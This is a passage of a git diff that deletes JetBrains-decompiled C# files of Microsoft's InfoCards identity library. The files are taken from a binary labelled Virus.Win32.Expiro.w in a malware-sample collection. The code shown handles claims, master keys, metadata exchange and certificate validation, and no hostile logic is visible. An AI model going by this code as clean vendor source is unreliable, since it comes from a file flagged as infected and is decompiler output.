(InfoCardConstants.PPIDClaimsUri != keyValuePair.Key) - keyValuePair.Value.Serialize(writer); - } - else - keyValuePair.Value.Serialize(writer); - } - } - - public void AgentSerialize(Stream stream) - { - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write(this.Count); - foreach (KeyValuePair keyValuePair in (Dictionary) this) - keyValuePair.Value.Serialize(writer); - } - - public void Deserialize(Stream stream) - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - int num = reader.ReadInt32(); - for (int index = 0; index < num; ++index) - { - InfoCardClaim infoCardClaim = new InfoCardClaim(); - infoCardClaim.DeSerialize(reader); - this[infoCardClaim.Id] = infoCardClaim; - } - } - - public void Save(StoreConnection con, bool selfIssued) - { - DataRow row = con != null ? this.TryGetRow(con, QueryDetails.FullHeader) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (row == null) - { - row = new DataRow(); - row.ObjectType = 2; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_parentid", (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString())); - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream, selfIssued); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - this.m_rowId = row.LocalId; - } - - public void Encrypt(PinProtectionHelper pinHelper) - { - foreach (KeyValuePair keyValuePair in (Dictionary) this) - { - if (keyValuePair.Value.Value.Length > 0) - keyValuePair.Value.Encrypt(pinHelper); - } - } - - public void Decrypt(PinProtectionHelper pinHelper) - { - foreach (KeyValuePair keyValuePair in (Dictionary) this) - { - if (keyValuePair.Value.Value.Length > 0) - { - keyValuePair.Value.Decrypt(pinHelper); - if (!string.IsNullOrEmpty(keyValuePair.Value.Value)) - { - if (InfoCardConstants.Gender == keyValuePair.Key && !("0" == keyValuePair.Value.Value) && !("1" == keyValuePair.Value.Value) && !("2" == keyValuePair.Value.Value)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidEncryptedClaimValues"))); - if (InfoCardConstants.DateOfBirth == keyValuePair.Key) - { - try - { - XmlConvert.ToDateTime(keyValuePair.Value.Value, XmlDateTimeSerializationMode.Utc); - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidEncryptedClaimValues"))); - throw; - } - } - } - } - } - } - - public InfoCardClaimCollection Clone() - { - InfoCardClaimCollection cardClaimCollection = new InfoCardClaimCollection(new Uri(this.m_infoCardId.OriginalString)); - cardClaimCollection.m_rowId = this.m_rowId; - foreach (KeyValuePair keyValuePair in (Dictionary) this) - cardClaimCollection[(string) keyValuePair.Key.Clone()] = keyValuePair.Value.Clone(); - return cardClaimCollection; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "null infocard id"); - return con.GetSingleRow(details, new QueryParameter("ix_objecttype", new object[1] - { - (object) 2 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardConstants.cs deleted file mode 100644 index b23e8372..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardConstants.cs +++ /dev/null @@ -1,189 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.IdentityModel.Claims; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal static class InfoCardConstants - { - private const int DEFAULT_MAX_MESSAGE_SIZE = 20971520; - private const int DEFAULT_MAX_MEX_CHAIN = 100; - private const string MAX_MESSAGE_KEY = "MaximumMessageSize"; - private const string MAX_MEX_CHAIN = "MaximumMexChain"; - private const string INFOCARD_REGISTRY_KEY = "software\\microsoft\\infocard"; - private static int s_maxMessageSize; - private static int s_maxMexChainLength; - private static string[] s_SelfIssuedClaims = new string[14] - { - InfoCardConstants.GivenName, - InfoCardConstants.Surname, - InfoCardConstants.EmailAddress, - InfoCardConstants.StreetAddress, - InfoCardConstants.Locality, - InfoCardConstants.StateOrProvince, - InfoCardConstants.PostalCode, - InfoCardConstants.Country, - InfoCardConstants.HomePhone, - InfoCardConstants.OtherPhone, - InfoCardConstants.MobilePhone, - InfoCardConstants.DateOfBirth, - InfoCardConstants.Gender, - InfoCardConstants.Webpage - }; - private static Dictionary s_claimDisplayTags = new Dictionary(); - private static Dictionary s_claimDescription = new Dictionary(); - private static XmlDictionaryReaderQuotas s_defaultQuotas = new XmlDictionaryReaderQuotas(); - private static List s_localTokenFactoryWhiteList = new List(); - private static List s_policyElementsToBeProcessed = new List(); - - public static int MaximumMessageSize => InfoCardConstants.s_maxMessageSize; - - public static int MaximumMexChainLength => InfoCardConstants.s_maxMexChainLength; - - public static string RegistryKey => "software\\microsoft\\infocard"; - - public static string GivenName => ClaimTypes.GivenName; - - public static string EmailAddress => ClaimTypes.Email; - - public static string Surname => ClaimTypes.Surname; - - public static string StreetAddress => ClaimTypes.StreetAddress; - - public static string Locality => ClaimTypes.Locality; - - public static string StateOrProvince => ClaimTypes.StateOrProvince; - - public static string PostalCode => ClaimTypes.PostalCode; - - public static string Country => ClaimTypes.Country; - - public static string HomePhone => ClaimTypes.HomePhone; - - public static string OtherPhone => ClaimTypes.OtherPhone; - - public static string MobilePhone => ClaimTypes.MobilePhone; - - public static string DateOfBirth => ClaimTypes.DateOfBirth; - - public static string Gender => ClaimTypes.Gender; - - public static string PPID => ClaimTypes.PPID; - - public static string Webpage => ClaimTypes.Webpage; - - public static bool DoesLocalTokenFactoryWhiteListContain(string nameSpaceValue, string value) => InfoCardConstants.s_localTokenFactoryWhiteList.Contains(nameSpaceValue + "/" + value); - - public static bool DoesPolicyElementsToBeProcessedListContain( - string nameSpaceValue, - string value) - { - return InfoCardConstants.s_policyElementsToBeProcessed.Contains(nameSpaceValue + "/" + value); - } - - public static XmlDictionaryReaderQuotas DefaultQuotas => InfoCardConstants.s_defaultQuotas; - - public static string[] SelfIssuedClaimsUris => InfoCardConstants.s_SelfIssuedClaims; - - public static string PPIDClaimsUri => InfoCardConstants.PPID; - - public static string ClaimDisplayTag(string key) => InfoCardConstants.s_claimDisplayTags.ContainsKey(key) ? SR.GetString(InfoCardConstants.s_claimDisplayTags[key]) : throw InfoCardTrace.ThrowHelperWarning((Exception) new ArgumentOutOfRangeException(SR.GetString("InvalidSelfIssuedUri"))); - - public static string ClaimsDescription(string key) => InfoCardConstants.s_claimDescription.ContainsKey(key) ? SR.GetString(InfoCardConstants.s_claimDescription[key]) : throw InfoCardTrace.ThrowHelperWarning((Exception) new ArgumentOutOfRangeException(SR.GetString("InvalidSelfIssuedUri"))); - - static InfoCardConstants() - { - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.GivenName, "GivenNameText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.EmailAddress, "EmailAddressText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.Country, "CountryText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.DateOfBirth, "DateOfBirthText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.Gender, "GenderText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.HomePhone, "HomePhoneText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.Locality, "LocalityText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.MobilePhone, "MobilePhoneText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.OtherPhone, "OtherPhoneText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.PostalCode, "PostalCodeText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.StateOrProvince, "StateOrProvinceText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.StreetAddress, "StreetAddressText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.Surname, "SurnameText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.PPID, "PPIDText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.Webpage, "WebPageText"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.GivenName, "GivenNameDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.EmailAddress, "EmailAddressDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.Country, "CountryDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.DateOfBirth, "DateOfBirthDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.Gender, "GenderDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.HomePhone, "HomePhoneDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.Locality, "LocalityDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.MobilePhone, "MobilePhoneDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.OtherPhone, "OtherPhoneDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.PostalCode, "PostalCodeDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.StateOrProvince, "StateOrProvinceDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.StreetAddress, "StreetAddressDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.Surname, "SurnameDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.PPID, "PPIDDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.Webpage, "WebPageDescription"); - InfoCardConstants.s_defaultQuotas.MaxDepth = 32; - InfoCardConstants.s_defaultQuotas.MaxStringContentLength = 8192; - InfoCardConstants.s_defaultQuotas.MaxArrayLength = 20971520; - InfoCardConstants.s_defaultQuotas.MaxBytesPerRead = 4096; - InfoCardConstants.s_defaultQuotas.MaxNameTableCharCount = 16384; - InfoCardConstants.s_maxMessageSize = 20971520; - InfoCardConstants.s_maxMexChainLength = 100; - using (new SystemIdentity(false)) - { - using (Microsoft.Win32.RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("software\\microsoft\\infocard", false)) - { - if (registryKey != null) - { - object obj1 = registryKey.GetValue(nameof (MaximumMessageSize), (object) 20971520); - if (obj1 is int num1 && num1 > 0 && (int) obj1 * 1024 > 0) - InfoCardConstants.s_maxMessageSize = (int) obj1 * 1024; - object obj2 = registryKey.GetValue("MaximumMexChain", (object) 100); - if (obj2 is int num2) - { - if (num2 > 0) - InfoCardConstants.s_maxMexChainLength = (int) obj2; - } - } - } - } - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/SignatureAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/EncryptionAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/CanonicalizationAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/SignWith"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/Claims"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/TokenType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/KeyType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/KeySize"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/EncryptWith"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/RequestType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/SignatureAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/EncryptionAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/CanonicalizationAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/SignWith"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/Claims"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/TokenType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/KeyType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/KeySize"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/EncryptWith"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/RequestType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/SecondaryParameters"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/KeyWrapAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/07/securitypolicy/RequestSecurityTokenTemplate"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200512/RequestSecurityTokenTemplate"); - InfoCardConstants.s_policyElementsToBeProcessed.AddRange((IEnumerable) InfoCardConstants.s_localTokenFactoryWhiteList); - InfoCardConstants.s_policyElementsToBeProcessed.Add("http://schemas.xmlsoap.org/ws/2004/09/policy/AppliesTo"); - InfoCardConstants.s_policyElementsToBeProcessed.Add("http://www.w3.org/ns/ws-policy/AppliesTo"); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardListRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardListRequest.cs deleted file mode 100644 index 84fef403..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardListRequest.cs +++ /dev/null @@ -1,107 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardListRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class InfoCardListRequest : UIAgentRequest - { - private InfoCardPolicy m_policy; - private IList m_allCards; - - public InfoCardListRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() - { - base.OnInitializeAsSystem(); - this.m_policy = this.GetPolicy(); - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - IList allCards = this.GetAllCards(); - if (allCards == null || allCards.Count == 0) - return; - IList infoCardList = (IList) new List(allCards.Count); - for (int index = 0; index < allCards.Count; ++index) - { - byte[] dataField = allCards[index].GetDataField(); - try - { - using (MemoryStream memoryStream = new MemoryStream(dataField)) - infoCardList.Add(new InfoCard((Stream) memoryStream)); - } - finally - { - Array.Clear((Array) dataField, 0, dataField.Length); - } - } - this.m_allCards = infoCardList; - } - - protected override void OnMarshalOutArgs() - { - Stream outArgs = this.OutArgs; - BinaryWriter binaryWriter = new BinaryWriter(outArgs); - if (this.m_allCards != null && this.m_allCards.Count != 0) - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - binaryWriter.Write(this.m_allCards.Count); - for (int index = 0; index < this.m_allCards.Count; ++index) - { - binaryWriter.Flush(); - this.m_allCards[index].AgentSerialize(outArgs, this.ParentRequest is GetTokenRequest, this.m_policy, connection, new CultureInfo(this.ParentRequest.UserLanguage)); - } - binaryWriter.Flush(); - } - finally - { - if (this.m_allCards != null) - { - foreach (InfoCard allCard in (IEnumerable) this.m_allCards) - allCard.ClearSensitiveData(); - } - connection.Close(); - } - } - else - binaryWriter.Write(0); - } - - private IList GetAllCards() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - return (IList) connection.Query(QueryDetails.FullRow, connection.LocalDataSource, new QueryParameter("ix_objecttype", new object[1] - { - (object) 1 - })); - } - finally - { - connection.Close(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardMasterKey.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardMasterKey.cs deleted file mode 100644 index 09815b4a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardMasterKey.cs +++ /dev/null @@ -1,124 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardMasterKey -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Security.Cryptography; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class InfoCardMasterKey - { - private const byte Marker = 29; - private const byte Version = 1; - private Uri m_infoCardId; - private byte[] m_key; - - public InfoCardMasterKey(Uri infoCardId) => this.m_infoCardId = infoCardId; - - public InfoCardMasterKey(Uri infoCardId, byte[] key) - { - this.m_infoCardId = infoCardId; - this.m_key = key; - } - - public static InfoCardMasterKey NewMasterKey(Uri infoCardId) - { - InfoCardMasterKey infoCardMasterKey = new InfoCardMasterKey(infoCardId); - InfoCardTrace.Assert(null == infoCardMasterKey.m_key, "Should be null"); - infoCardMasterKey.m_key = InfoCardMasterKey.GenerateKey(); - return infoCardMasterKey; - } - - public byte[] Key => this.m_key; - - private static byte[] GenerateKey() - { - byte[] data = new byte[32]; - new RNGCryptoServiceProvider().GetBytes(data); - return data; - } - - public void Get(StoreConnection con) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "populate infocard id before calling Get"); - InfoCardTrace.Assert(con != null, "null connection"); - this.Deserialize((Stream) new MemoryStream(this.GetRow(con, QueryDetails.FullRow).GetDataField())); - } - - public void Save(StoreConnection con) - { - InfoCardTrace.Assert(con != null, "null connection"); - this.ThrowIfNotComplete(); - DataRow row = this.TryGetRow(con, QueryDetails.FullHeader); - if (row == null) - { - row = new DataRow(); - row.ObjectType = 3; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_parentid", (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString())); - row.SetIndexValue("ix_masterkey", (object) this.m_key); - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - } - - public void ThrowIfNotComplete() - { - if (!((Uri) null != this.m_infoCardId) || Utility.ArrayIsNullOrEmpty((Array) this.m_key)) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - public void Encrypt(PinProtectionHelper pinHelper) => this.m_key = pinHelper.EncryptMasterKey(this.m_key); - - public void Decrypt(PinProtectionHelper pinHelper) => this.m_key = pinHelper.DecryptMasterKey(this.m_key); - - public PinProtectionHelper GetPinHelper(string pin) => new PinProtectionHelper(pin, this.m_key); - - private void Serialize(Stream stream) - { - this.ThrowIfNotComplete(); - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write((byte) 1); - Utility.SerializeBytes(writer, this.m_key); - writer.Write((byte) 29); - } - - private void Deserialize(Stream stream) - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - if ((byte) 1 != binaryReader.ReadByte()) - InfoCardTrace.Assert(false, "Master key version mismatch"); - this.m_key = binaryReader.ReadBytes(binaryReader.ReadInt32()); - if ((byte) 29 != binaryReader.ReadByte()) - InfoCardTrace.Assert(false, "Invalid stream detected"); - this.ThrowIfNotComplete(); - } - - protected DataRow GetRow(StoreConnection con, QueryDetails details) - { - DataRow row = this.TryGetRow(con, details); - InfoCardTrace.Assert(row != null && 3 == row.ObjectType, "invalid service object type"); - return row; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "populate cardid before retrieving row"); - return con.GetSingleRow(details, new QueryParameter("ix_objecttype", new object[1] - { - (object) 3 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardMetadataExchangeClient.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardMetadataExchangeClient.cs deleted file mode 100644 index 698c722f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardMetadataExchangeClient.cs +++ /dev/null @@ -1,83 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardMetadataExchangeClient -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Net; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.ServiceModel.Description; - -namespace Microsoft.InfoCards -{ - internal class InfoCardMetadataExchangeClient : MetadataExchangeClient - { - private HttpWebRequest m_currentHttpGetRequest; - private object m_abortSync; - private bool m_aborted; - private IWebProxy m_proxy; - - public InfoCardMetadataExchangeClient(Binding mexBinding) - : base(mexBinding) - { - this.m_abortSync = new object(); - } - - public IWebProxy Proxy - { - set => this.m_proxy = value; - } - - public void Abort() - { - lock (this.m_abortSync) - { - if (this.m_currentHttpGetRequest != null) - this.m_currentHttpGetRequest.Abort(); - else - base.GetChannelFactory((EndpointAddress) null, (string) null, (string) null)?.Abort(); - this.m_aborted = true; - } - } - - protected override HttpWebRequest GetWebRequest( - Uri location, - string dialect, - string identifier) - { - if (string.Compare(location.Scheme, "https", StringComparison.OrdinalIgnoreCase) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NonHttpsURIFound", (object) location.AbsoluteUri))); - HttpWebRequest webRequest = base.GetWebRequest(location, dialect, identifier); - InfoCardTrace.Assert(null != this.m_proxy, "Set the proxy value before creating a WebRequest"); - webRequest.Proxy = this.m_proxy; - lock (this.m_abortSync) - { - if (this.m_aborted) - webRequest.Abort(); - return this.m_currentHttpGetRequest = webRequest; - } - } - - protected override ChannelFactory GetChannelFactory( - EndpointAddress metadataAddress, - string dialect, - string identifier) - { - if ((EndpointAddress) null != metadataAddress && string.Compare(metadataAddress.Uri.Scheme, "https", StringComparison.OrdinalIgnoreCase) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NonHttpsURIFound", (object) metadataAddress.Uri.AbsoluteUri))); - InfoCardTrace.Assert(null != this.m_proxy, "Set the proxy value before creating a WebRequest"); - ChannelFactory channelFactory = base.GetChannelFactory(metadataAddress, dialect, identifier); - channelFactory.Endpoint.Binding = (Binding) new CustomBinding((IEnumerable) HttpProxyTransportBindingElement.ReplaceHttpTransportWithProxy(channelFactory.Endpoint.Binding.CreateBindingElements(), this.m_proxy)); - lock (this.m_abortSync) - { - if (this.m_aborted) - channelFactory.Abort(); - } - return channelFactory; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardOfflineChainTrustValidator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardOfflineChainTrustValidator.cs deleted file mode 100644 index d16ac68e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardOfflineChainTrustValidator.cs +++ /dev/null @@ -1,93 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardOfflineChainTrustValidator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.Security.Cryptography.X509Certificates; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class InfoCardOfflineChainTrustValidator : X509CertificateValidator - { - private bool m_useMachineContext; - - public InfoCardOfflineChainTrustValidator(bool useMachineContext) => this.m_useMachineContext = useMachineContext; - - public override void Validate(X509Certificate2 certificate) - { - X509Chain chain; - this.Validate(certificate, (X509Certificate2Collection) null, out chain); - chain = (X509Chain) null; - } - - public void Validate( - X509Certificate2 certificate, - X509Certificate2Collection supportingCerts, - out X509Chain chain) - { - if (certificate == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (certificate)); - chain = new X509Chain(this.m_useMachineContext); - if (supportingCerts != null) - chain.ChainPolicy.ExtraStore.AddRange(supportingCerts); - chain.ChainPolicy.RevocationFlag = X509RevocationFlag.ExcludeRoot; - chain.ChainPolicy.RevocationMode = X509RevocationMode.Offline; - chain.ChainPolicy.VerificationFlags = X509VerificationFlags.IgnoreEndRevocationUnknown | X509VerificationFlags.IgnoreCtlSignerRevocationUnknown | X509VerificationFlags.IgnoreCertificateAuthorityRevocationUnknown | X509VerificationFlags.IgnoreRootRevocationUnknown; - if (!chain.Build(certificate)) - throw InfoCardTrace.ThrowHelperError((Exception) new SecurityTokenValidationException(SR.GetString("X509ChainBuildFail", (object) InfoCardOfflineChainTrustValidator.GetCertificateId(certificate), (object) InfoCardOfflineChainTrustValidator.GetChainStatusInformation(chain.ChainStatus)))); - } - - internal static string GetCertificateId(X509Certificate2 certificate) - { - StringBuilder str = new StringBuilder(256); - InfoCardOfflineChainTrustValidator.AppendCertificateIdentityName(str, certificate); - return str.ToString(); - } - - private static string GetChainStatusInformation(X509ChainStatus[] chainStatus) - { - if (chainStatus == null) - return string.Empty; - StringBuilder stringBuilder = new StringBuilder(256); - for (int index = 0; index < chainStatus.Length; ++index) - { - if (X509ChainStatusFlags.RevocationStatusUnknown != chainStatus[index].Status && X509ChainStatusFlags.OfflineRevocation != chainStatus[index].Status) - { - 